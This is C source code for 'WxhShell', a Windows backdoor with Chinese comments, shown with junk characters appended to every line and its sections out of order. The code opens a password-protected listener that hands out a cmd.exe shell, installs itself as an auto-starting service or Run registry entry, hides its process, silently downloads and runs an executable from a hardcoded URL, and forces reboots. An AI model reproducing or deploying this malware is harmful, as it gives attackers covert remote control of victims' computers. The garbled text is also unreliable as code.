    if(Boot(SHUTDOWN)) i$:CGUb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x_Ais&Gc  
    else { r?/>t1Z  
    closesocket(wsh); HNjkRl)QR  
    ExitThread(0); 2 >xV&  
    } Gh|1%g"gm  
    break; +S%@/q  
    } <)n   
  // 获取shell 05pCgI}F>  
  case 's': { Z@C D1+G  
    CmdShell(wsh); s9`T%pg  
    closesocket(wsh); NK#Dq&W+&  
    ExitThread(0); [EGE|   
    break; $X*$,CCIB  
  } u{p\8v%7  
  // 退出 Bdbw!zRR$  
  case 'x': { JBUJc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N{p2@_fnB  
    CloseIt(wsh); <O\z`aA'q  
    break; FT (EH  
    } [V jd )%  
  // 离开 vlj|[joXw  
  case 'q': { 4?yc/F=kI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;-]f4O8  
    closesocket(wsh); )s=z i"  
    WSACleanup(); q9WSQ$:z8  
    exit(1); W+K=M*^D;c  
    break; "F[VqqD  
        } =C3l:pGMB;  
  } x-Mp6  
  } 6o1.?t?  
QdW%5lM+  
  // 提示信息 Y?%6af+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @MB;Ez v  
} >9u6@  
  } 5E!|-xD  
^jmnE.8R  
  return; ~C!vfPC  
} B|GJboQ  
vCpi|a_eCu  
// shell模块句柄 .PAkW2\#  
int CmdShell(SOCKET sock) uqO51V~  
{ J0=`n (48B  
STARTUPINFO si; s9E:6  
ZeroMemory(&si,sizeof(si)); WVN Q}KY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }=GyBnXu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iPFYG  
PROCESS_INFORMATION ProcessInfo; BEI/OGp  
char cmdline[]="cmd"; #JLDj(a?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GO?-z0V  
  return 0; ~l}TlRqL  
} |y:DLsom?i  
J<`RlDI  
// 自身启动模式 5W{>5.Arx)  
int StartFromService(void) ~y|%D;  
{ A|>C3S  
typedef struct ~AE034_N  
{ EhD|\WLx!  
  DWORD ExitStatus; 2Qy!Aa  
  DWORD PebBaseAddress; %*19S.=l  
  DWORD AffinityMask; }zobIfIF  
  DWORD BasePriority; &J~S  $  
  ULONG UniqueProcessId; %~W}262  
  ULONG InheritedFromUniqueProcessId; W#lvH=y  
}   PROCESS_BASIC_INFORMATION; hr{%'DAS  
-91l"sI  
PROCNTQSIP NtQueryInformationProcess; y2qESAZ%k}  
l.34h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .e"jnP~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U|Jo[4A  
)>Lsj1qk  
  HANDLE             hProcess; {!/y@/NK2  
  PROCESS_BASIC_INFORMATION pbi; V.-?aXQ*  
<m6Xh^Ko;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~<Lf@yu-{  
  if(NULL == hInst ) return 0; C`jP8"-  
<HzAh<_@F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \YKh'|04  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PCLSY8N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9e1 6 g  
hx2C<;s4  
  if (!NtQueryInformationProcess) return 0; .gPsJ?b  
gOWyV@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mhVoz0%1X  
  if(!hProcess) return 0; @"/}Al  
gP`!MlY@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q./ lX:  
$@Ay0GEI"  
  CloseHandle(hProcess); `-/l$A} U  
qA~D*=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1tr>D:c\  
if(hProcess==NULL) return 0; SQ Fey~  
n47=eKd70  
HMODULE hMod; <eh(~  
char procName[255]; xXx`a\i  
unsigned long cbNeeded; h#n8mtt&i  
;OPCBdr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C5WCRg5&  
{fb~`=?  
  CloseHandle(hProcess); j0%0yb{-^  
TcP1"wc  
if(strstr(procName,"services")) return 1; // 以服务启动 =Hx~]1  
N*SgP@Bt  
  return 0; // 注册表启动 hZ'oCRM  
} QlS5B.h,  
x ?V/3zW  
// 主模块 nfJ8Rt   
int StartWxhshell(LPSTR lpCmdLine) 3'"M31iA  
{ op|mRJBq;  
  SOCKET wsl; ~4>Xi* B  
BOOL val=TRUE; &53#`WgJ  
  int port=0; <{U{pCT%  
  struct sockaddr_in door; Fm;)7.% >  
@\D D|o67  
  if(wscfg.ws_autoins) Install(); kdUGmR0d  
hKTg~y^  
port=atoi(lpCmdLine); >4ct[fW+  
 `JE>GZ Y  
if(port<=0) port=wscfg.ws_port; Me}TW!GC  
#LN I&5  
  WSADATA data; \i,cL)HM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rq1kj 8%2  
HEuM"2{DMM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *3/7wSV:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hr+-ndH!Pq  
  door.sin_family = AF_INET; VBX# !K1Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r$#G%FMv  
  door.sin_port = htons(port); [[ e| GQ  
3opLLf_g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y1 P[^ws  
closesocket(wsl); E~>6*_?  
return 1; reA8=>b/  
} FqTkUWd,#  
Wv0'?NL.  
  if(listen(wsl,2) == INVALID_SOCKET) { SznE:+  
closesocket(wsl); |wJZU  
return 1; YF -w=Y6  
} HLe^|  
  Wxhshell(wsl); ?fmt@@]T?  
  WSACleanup(); z/YMl3$l~  
&5.~XM;  
return 0;  4 Z}bw#  
tqQ0lv^J  
} 2\w=U,;(  
8`G{1lr4o  
// 以NT服务方式启动 30_un  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MA+-2pMc|7  
{ ^-IsK#r.k  
DWORD   status = 0; ^2r}_ AX  
  DWORD   specificError = 0xfffffff; kppRQ Q*[  
+?iM$}8!U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <s-@!8*(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Uxemlp%%*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5b#6 Y  
  serviceStatus.dwWin32ExitCode     = 0; qP"JNswI_  
  serviceStatus.dwServiceSpecificExitCode = 0; X[Ek'=}  
  serviceStatus.dwCheckPoint       = 0; =4e=wAO(i  
  serviceStatus.dwWaitHint       = 0; p{a]pG+3  
8'lhp2#h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DLYZsWA,  
  if (hServiceStatusHandle==0) return; n r>{ uTa  
@LKG\zYBu  
status = GetLastError(); _g 4 /%  
  if (status!=NO_ERROR)  <8)s  
{ F36ViN\b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yb{Q,Dz  
    serviceStatus.dwCheckPoint       = 0; I/Jp,~JT*  
    serviceStatus.dwWaitHint       = 0; [S]!+YBK  
    serviceStatus.dwWin32ExitCode     = status; d=Do@) m|  
    serviceStatus.dwServiceSpecificExitCode = specificError; cIr1"5POXK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wz+5 8(  
    return; 0sd-s~;  
  } +V9B  
^ 6.lb\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *kQCW#y0  
  serviceStatus.dwCheckPoint       = 0; ~B!O~nvdQ  
  serviceStatus.dwWaitHint       = 0; z9 w&uZzi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~u0xXfv#  
} naI v=  
.NkAD-k`  
// 处理NT服务事件,比如:启动、停止 P/pjy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y5/6nvH_6  
{ qijcS2E6S  
switch(fdwControl) (kC} ,}  
{ tQ~<i %;  
case SERVICE_CONTROL_STOP: ~g1, !Wl  
  serviceStatus.dwWin32ExitCode = 0; X B*}P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5w3ZUmjO  
  serviceStatus.dwCheckPoint   = 0; ^$IZLM?E~  
  serviceStatus.dwWaitHint     = 0; 14D 7U/zer  
  { irsfJUr[V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _;:rkC fj  
  } 8rwYNb.P  
  return; R|1xXDLm*E  
case SERVICE_CONTROL_PAUSE: ~pevU`}Uqc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^5]u BOv  
  break; gKN}Of@^1  
case SERVICE_CONTROL_CONTINUE: iS"8X#[]N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XY{:tR_al  
  break; VI24+h'J  
case SERVICE_CONTROL_INTERROGATE: <'[Ku;m  
  break; S9p?*  
}; h `ME(U~<<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BMNr<P2li  
} *AH^%!kVP  
[8@kxCq  
// 标准应用程序主函数 i u1KRuaF[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GVG!sM mnX  
{ iS1Gb$?  
 *q*HGW5  
// 获取操作系统版本 nG"n-$A?<  
OsIsNt=GetOsVer(); !&`}]qQZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "#pzZ)Zh  
>+ ]R4  
  // 从命令行安装 f]8!DXEA  
  if(strpbrk(lpCmdLine,"iI")) Install(); V5a?=vK9  
sS2_-X[_  
  // 下载执行文件 vUYJf99B  
if(wscfg.ws_downexe) { SFn 3$ rh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8?7kIin  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3Q"F(uE v^  
} d=XpO*v,[  
dC` tN5  
if(!OsIsNt) { _1sMYhI  
// 如果时win9x,隐藏进程并且设置为注册表启动 L)F1NuR  
HideProc(); ]4Y/xi-  
StartWxhshell(lpCmdLine); !:"-:O}>=,  
} SY,I >-%  
else yI8m%g%  
  if(StartFromService()) `l/:NF  
  // 以服务方式启动 xQJIM.  
  StartServiceCtrlDispatcher(DispatchTable); VLsh=v   
else dL_QX,X-]  
  // 普通方式启动 [?chK^8  
  StartWxhshell(lpCmdLine); ATXF,o1  
F>dwLbnb  
return 0; EZ"bW  
} +z-[s6q2m  
MZ|\S/  
$Z;BQJVH  
zF5q=9 4$  
=========================================== \=!H2M  
fcRj  
p jKt:R}  
mG)8U{L  
M$Fth*q{GD  
MO[kr2T  
" N = LM?(H  
9Ct_$.Q .  
#include <stdio.h> Xb}!0k/{  
#include <string.h> 4xm&pQo{V6  
#include <windows.h> '>3`rsu  
#include <winsock2.h> =}JBA>q(  
#include <winsvc.h> &%^K,Q"  
#include <urlmon.h> 6eQsoKK  
\M5P+Wk '  
#pragma comment (lib, "Ws2_32.lib") Lt1U+o[ot  
#pragma comment (lib, "urlmon.lib") Y@Y`gF6F  
Ic'Q5kfM  
#define MAX_USER   100 // 最大客户端连接数 R]u (l+`  
#define BUF_SOCK   200 // sock buffer XHxz @_rw  
#define KEY_BUFF   255 // 输入 buffer 90~*dNk  
-~ 0] 7Cpl  
#define REBOOT     0   // 重启 ?g2zmI!U  
#define SHUTDOWN   1   // 关机 W`$[j0  
0 y< k][  
#define DEF_PORT   5000 // 监听端口 .f>,6?   
Dg~ [#C-  
#define REG_LEN     16   // 注册表键长度 .nEs:yn  
#define SVC_LEN     80   // NT服务名长度 Is13:  
2H[ ; v+  
// 从dll定义API {Eu'v$c!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T2wv0sHlt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {XtoiI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0[/vQ+O]2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -kl;!:'.3  
14  H'!$  
// wxhshell配置信息 nbGoJC:U  
struct WSCFG { c45tmul  
  int ws_port;         // 监听端口 sAi&A9"*   
  char ws_passstr[REG_LEN]; // 口令 `(!NYx  
  int ws_autoins;       // 安装标记, 1=yes 0=no j 1(T )T  
  char ws_regname[REG_LEN]; // 注册表键名 *>k!hq;j  
  char ws_svcname[REG_LEN]; // 服务名 $A`xhh[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !.EcP=S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )1f+ld%R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o(qEkR:4kd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c3] C:t+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XLm@etf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I}+;ME|<2  
$jG4pPG  
}; :#{-RU@PS  
(/K5!qh  
// default Wxhshell configuration D`Gt  
struct WSCFG wscfg={DEF_PORT, x=-0zV  
    "xuhuanlingzhe", =EW3&+Lt  
    1, ?; [ T  
    "Wxhshell", 5`~mqqR5  
    "Wxhshell", ?E<c[*F05  
            "WxhShell Service", QH~Jy*\+PX  
    "Wrsky Windows CmdShell Service", .+yW%~0  
    "Please Input Your Password: ", j0FW8!!-g  
  1, 3B{[%#vO  
  "http://www.wrsky.com/wxhshell.exe", 7^MX l  
  "Wxhshell.exe" d+6]u_J  
    }; ;i\C]*  
)~V }oKk0t  
// 消息定义模块 5Z{_m;I.   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4T`&Sl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }c% pH{ HI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KiAcA]0  
char *msg_ws_ext="\n\rExit."; O8lFx_N7Q  
char *msg_ws_end="\n\rQuit."; )iU^&@[S  
char *msg_ws_boot="\n\rReboot..."; FLZSK:3B]  
char *msg_ws_poff="\n\rShutdown..."; 5 y   
char *msg_ws_down="\n\rSave to "; 6Y1J2n"  
:CaTP%GW  
char *msg_ws_err="\n\rErr!"; (a.1M8v+Sg  
char *msg_ws_ok="\n\rOK!"; )eYDQA>J  
ewnfeg1  
char ExeFile[MAX_PATH]; L-\ =J  
int nUser = 0; Mvb':/M  
HANDLE handles[MAX_USER]; )KY:m |Z  
int OsIsNt; g9KTn4  
#cU^U#;=r  
SERVICE_STATUS       serviceStatus; AW~"yI<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sDC*J \X  
.!RavEg+  
// 函数声明 `~h4D(n`  
int Install(void); #`ls)-`7  
int Uninstall(void); _KN/@(+F  
int DownloadFile(char *sURL, SOCKET wsh); m`6VKp{YD  
int Boot(int flag); [i7YVwG4  
void HideProc(void); uWjU OJEe  
int GetOsVer(void);  s;Y<BD  
int Wxhshell(SOCKET wsl); l Y'N4x7n  
void TalkWithClient(void *cs); rk|@B{CA;  
int CmdShell(SOCKET sock); Zx{96G+1  
int StartFromService(void); y=aV=qD  
int StartWxhshell(LPSTR lpCmdLine); K2rzhHfb  
T8XY fcc*h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3o6RbW0[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |P~;C6sf  
?6P.b6m}0  
// 数据结构和表定义 *(QH{!-$s  
SERVICE_TABLE_ENTRY DispatchTable[] = a1c1k}  
{ 2) ?q 58  
{wscfg.ws_svcname, NTServiceMain}, t-7og;^8k  
{NULL, NULL} p[v#EyoC  
}; 9(,@aZ  
U)D[]BVg  
// 自我安装 -5b A $  
int Install(void) >w|*ei:@S  
{ @r;wobt  
  char svExeFile[MAX_PATH]; 0$HmY2 Men  
  HKEY key; 2e1]}wlK  
  strcpy(svExeFile,ExeFile); 27D!'S  
_A+w#kiv>  
// 如果是win9x系统,修改注册表设为自启动 W5pb;74|  
if(!OsIsNt) { ^Q.,\TL01  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {0v*xL_O^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qlsQ|/'D  
  RegCloseKey(key); O1P=#l iYX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qOy=O [+9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  L}%dCe  
  RegCloseKey(key); s B 20/F  
  return 0; md bp8,O  
    } +?m0Q;%b  
  }  jz'<  
} 6bO~/mpWT~  
else { a~ ]bD  
'g)n1 {  
// 如果是NT以上系统,安装为系统服务 Y`GOER  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d=3'?l`  
if (schSCManager!=0) 6GL=)0Ah  
{ T!2=*~A  
  SC_HANDLE schService = CreateService jqnCA<G~B-  
  ( 3 hKBc0  
  schSCManager, }< 5F  
  wscfg.ws_svcname, C~4PE>YtTv  
  wscfg.ws_svcdisp, %.HJK  
  SERVICE_ALL_ACCESS, pz|'l:v^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E JK0  
  SERVICE_AUTO_START, #8h ;Bj  
  SERVICE_ERROR_NORMAL, p(JlvJjo  
  svExeFile, c EnkU]  
  NULL, FjFMR 63  
  NULL, Di5(9]o2  
  NULL, LT@OWH  
  NULL, 1X1 N tS @  
  NULL Pm{*.AW1  
  ); !>$4]FkV  
  if (schService!=0) uJU*")\V  
  { DcD{*t?x  
  CloseServiceHandle(schService); aelO3'UN  
  CloseServiceHandle(schSCManager); _5Bcwa/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d_z 59  
  strcat(svExeFile,wscfg.ws_svcname); 3=0E!e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K^l:MxO-X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w#y0atsg'  
  RegCloseKey(key); ]j<Bo4~Il  
  return 0; 39i9wrP  
    } b=;nm#cAI  
  } 9~\kF5Q"  
  CloseServiceHandle(schSCManager); s +s" MI  
} &&> tf%[  
} 0(TTw(;  
RFaSwf,5n  
return 1; J([s5:.[  
} Z|lU8`'5  
s1N?/>lmB  
// 自我卸载 t= #&fSR  
int Uninstall(void) 0&+k.Vg  
{ 9xI GV!  
  HKEY key; zYER  
lSwcL  
if(!OsIsNt) { _fk#<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &53]sFZ  
  RegDeleteValue(key,wscfg.ws_regname); 3VO2,PCZ  
  RegCloseKey(key); G6 0S|d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YwEpy(}hJm  
  RegDeleteValue(key,wscfg.ws_regname); fxcc<h4  
  RegCloseKey(key); yay<GP?  
  return 0; YZf6|  
  } o{qr!*_3  
} [Nm4sI11  
} Sjj>#}U  
else { =8Jfgq9E  
=T?}Nt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :M3oUE{  
if (schSCManager!=0) thlY0XCq,%  
{ ;|T!#@j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N "tFP9;K  
  if (schService!=0) BR`ygrfe  
  { df}r% i  
  if(DeleteService(schService)!=0) { y&~w2{a  
  CloseServiceHandle(schService); Vv.r8IGYm  
  CloseServiceHandle(schSCManager); z;tI D~Y  
  return 0; c_grPk2O4  
  } `4?~nbz  
  CloseServiceHandle(schService); HSUI${<  
  } 0oZsb\  
  CloseServiceHandle(schSCManager); g#]" hn  
} Jzji&A~  
} f"[J "j8  
*D}0 [|O  
return 1; 7cP@jj  
} <*ZJaBwWU~  
4rT*tW"U  
// 从指定url下载文件 S^@S%Eg  
int DownloadFile(char *sURL, SOCKET wsh) !^#jwRpeN  
{ C@ZK~Y_g  
  HRESULT hr; 96cJ8I8  
char seps[]= "/";  .~A*=  
char *token; GYxM0~:$k  
char *file; SvM6iZ]  
char myURL[MAX_PATH]; S_ MyoXV  
char myFILE[MAX_PATH]; z}QwP~Z  
"xI"  
strcpy(myURL,sURL); aimarU  
  token=strtok(myURL,seps); qU2~fNY  
  while(token!=NULL) {'sY|lou  
  { N[]Hc  
    file=token; 1d"Z>k:mn  
  token=strtok(NULL,seps); QZp6YSz.4  
  } @+vXMJ$  
,j;m!V  
GetCurrentDirectory(MAX_PATH,myFILE); )UgX3+@  
strcat(myFILE, "\\"); `+'rib5  
strcat(myFILE, file); x9/H/'  
  send(wsh,myFILE,strlen(myFILE),0); iXu]e;6  
send(wsh,"...",3,0); o./.Q9e7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +y7;81ND  
  if(hr==S_OK) 6*4's5>?D  
return 0; }jt?|dl1  
else yzw mT  
return 1; ]xC#rwHUC  
H&1[n U{?>  
} 4 %PfrJ  
ORGD  
// 系统电源模块 >z;[2 n'  
int Boot(int flag) AqK z$  
{ 1_fZm+oW!  
  HANDLE hToken; ;{ i'#rn{  
  TOKEN_PRIVILEGES tkp; 0nn okN^  
mpAR7AG6  
  if(OsIsNt) { K 8n4oz#z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >EL)X #e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hT$~ygQ  
    tkp.PrivilegeCount = 1; 0iULCK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H9h@sSg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IEKU-k7}Z  
if(flag==REBOOT) { !TZhQiorC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C{sLz9  
  return 0;  S( S#  
} xq-17HKs  
else { IdYzgDH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ] h-,o R?e  
  return 0; q)H1pwxD  
} u p.Q>28r  
  } .)}@J5 P)  
  else { /V3=KY`_J  
if(flag==REBOOT) { F:*W5xX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sK{l 9  
  return 0; 8^Hn"v  
} V fv@7@q  
else { 56^ +;^f^`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JdIlWJY  
  return 0; 4S~o-`&W  
} h\plQ[T  
} 8N:owK  
jV.g}F+1m  
return 1; :[ k4Z]t8  
} -.g|l\  
NCxqh<  
// win9x进程隐藏模块 RoCfJ65  
void HideProc(void) T\Uek-(  
{ iXyO(w4D  
<0yE 5Mrf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *f,DhT/P  
  if ( hKernel != NULL ) J]m{ b09F  
  { z0|&W&&D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  O+%WR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  K;LZ-  
    FreeLibrary(hKernel); $P1O>x>LIL  
  } .(pN5JI*  
Q{k At%  
return; 8G5Da|\  
} ;'81jbh  
f|y:vpd%  
// 获取操作系统版本 z4 &iK)x  
int GetOsVer(void) V9ssH87#  
{ lKEkXO  
  OSVERSIONINFO winfo; I^oE4o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jV(6>BAI_  
  GetVersionEx(&winfo); dw.F5?j`b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wf{O[yL*  
  return 1; V([~r,  
  else P&Pj>!T5  
  return 0; mv5n4mav  
} ?"z]A7<Hj  
mxb06u _  
// 客户端句柄模块 n}s~+USZX  
int Wxhshell(SOCKET wsl) 3Tn)Z1o  
{ k}KC/d9.z  
  SOCKET wsh; YeF1C/'hy  
  struct sockaddr_in client; GTHkY*  
  DWORD myID; <hwy*uBrD  
a0Ik`8^`  
  while(nUser<MAX_USER) ,gL9?Wz  
{ 1? FrJ6 V  
  int nSize=sizeof(client); s7oT G!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PjN =k;  
  if(wsh==INVALID_SOCKET) return 1; +7t6k7]c  
"5eNLqt^q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q}S_%I}u:  
if(handles[nUser]==0) qF 9NQ;  
  closesocket(wsh); k</%YKk  
else s?ko?qN(  
  nUser++; _|"Y]:j_  
  } -l%J/:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |+`c3*PV  
~rjTF!  
  return 0; 5OoN!TEM  
} }du XC[6  
N)&4Hy  
// 关闭 socket >DPB!XA3  
void CloseIt(SOCKET wsh) OgF+O S  
{ w '3#&k+  
closesocket(wsh); gKOOHUCb  
nUser--; ,;M4jc {  
ExitThread(0); nenU)*o  
} ~EK'&Y"1  
O5H9Y}i]  
// 客户端请求句柄 q5>v'ZSo  
void TalkWithClient(void *cs) F@R1:M9*  
{ ~tOAT;g}q  
Q[+ac*F=Y  
  SOCKET wsh=(SOCKET)cs; 31EyDU,W  
  char pwd[SVC_LEN]; &qS[%K )  
  char cmd[KEY_BUFF]; w`l{LHrR  
char chr[1]; &K/FyY5  
int i,j; \^#~@9  
K(XN-D/c  
  while (nUser < MAX_USER) { 8u!"#S#>a  
*m2=/Sh  
if(wscfg.ws_passstr) { *Z_C4Tj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iMfngIs |  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uUKcB:  
  //ZeroMemory(pwd,KEY_BUFF); v=('{/^~>  
      i=0; 8p-=&cuo\@  
  while(i<SVC_LEN) { H5D*|42  
y^7}oH _  
  // 设置超时 CR2_;x:0  
  fd_set FdRead; g@\fZTO  
  struct timeval TimeOut; nI0[;'Hn,  
  FD_ZERO(&FdRead); Tr^nkD{  
  FD_SET(wsh,&FdRead); k1VT /u  
  TimeOut.tv_sec=8; :8A!HI}m{  
  TimeOut.tv_usec=0; ~q&pF"va8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .'a&3 3J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !45.puL0  
7 bDHXn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wu"&|dt  
  pwd=chr[0]; b=3H  
  if(chr[0]==0xd || chr[0]==0xa) { c*UvYzDZL  
  pwd=0; qH['09/F6  
  break; `Y?87f:SP  
  } =!m}xdTP  
  i++; -gQCn>"  
    } vky.^  
Zs<KZGn-B  
  // 如果是非法用户,关闭 socket 0zY(:;X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w>b-} t  
} JJRK7\~$  
<9> vO,n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]:34kE}e5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kp\\"+,VC  
t\$U`V)  
while(1) { T)\"Xj  
k? Xc  
  ZeroMemory(cmd,KEY_BUFF); 3OM2Y_  
/t-fjB{=G  
      // 自动支持客户端 telnet标准   vd6l7"0/  
  j=0; vf4{$Oag  
  while(j<KEY_BUFF) { 6=N`wi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :rP#I#,7w  
  cmd[j]=chr[0]; .CSS}4  
  if(chr[0]==0xa || chr[0]==0xd) { ?bw4~  
  cmd[j]=0; K R"M/#  
  break; ~H6r.:]  
  } L4L2O7  
  j++; ){r2T1+-%  
    } U.{l;EL:T  
6ksAc%|5  
  // 下载文件 R>`}e+-D  
  if(strstr(cmd,"http://")) { )!tK[K?5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =vT<EW}[  
  if(DownloadFile(cmd,wsh)) ;E ec5w1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Su 5>$  
  else Pl-5ncb\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  )J?{+3  
  } :R.&`4=X  
  else { (RtueEb.~E  
rWh6RYd<T  
